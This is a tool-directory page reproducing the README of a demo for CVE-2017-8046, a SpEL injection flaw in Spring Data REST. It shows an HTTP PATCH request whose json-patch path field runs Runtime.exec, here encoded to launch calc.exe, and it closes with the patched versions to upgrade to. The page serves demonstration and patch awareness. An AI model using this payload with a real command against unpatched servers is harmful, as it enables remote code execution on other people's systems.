Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-8046-DEMO — SPRING DATA REST CVE-2017-8046 DEMO | Kitploit
Tools/GitHubGitHub/lgtm-migrator/cve-2017-8046-demo
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHublgtm-migrator/cve-2017-8046-demo

CVE-2017-8046-DEMO

SPRING DATA REST CVE-2017-8046 DEMO

View Repository
3 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

spring data rest CVE-2017-8046 demo test

please UPGRADE spring data rest NOW.

steps

  • Start the application

  • Create a test instance

root@kitploit:~

POST /entityPersons/ HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Cache-Control: no-cache

{
    "firstName":"f2"
}

  • Exploit via SpEL injection, will launch C:\Windows\system32\calc.exe
root@kitploit:~
PATCH /entityPersons/1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json-patch+json
Cache-Control: no-cache

[
    {
        "op":"test", 
        "path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[] {67, 58, 92, 87, 105, 110, 100, 111, 119, 115, 92, 115, 121, 115, 116, 101, 109, 51, 50, 92, 99, 97, 108, 99, 46, 101, 120, 101} ))", 
        "value":""	
    }
]

upgrade to

  • Spring Data REST 2.5.12, 2.6.7, 3.0 RC3
  • Spring Boot 2.0.0.M4
  • Spring Data release train Kay-RC3

spring boot 1.5.7.RELEASE uses spring data rest 2.6.7, but 1.4.x does not upgrade the spring data rest version.

Download Tool